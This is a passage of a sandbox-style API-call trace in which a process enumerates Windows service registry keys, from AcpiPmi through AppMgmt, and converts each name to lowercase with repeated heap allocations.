[0259.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0259.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0259.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0259.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0259.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a00, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0259.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0259.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0259.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0259.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0259.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0259.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0259.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0259.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0259.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0259.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1ad8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0259.072] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.072] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0259.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0259.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0259.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0259.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0259.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0259.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.073] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0259.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0259.073] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0259.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0259.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0259.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0259.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0259.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.074] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0259.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.074] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0259.074] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0259.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0259.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0259.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0259.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0259.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0259.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.075] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0259.075] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.075] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0259.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0259.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0259.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0259.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0259.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, 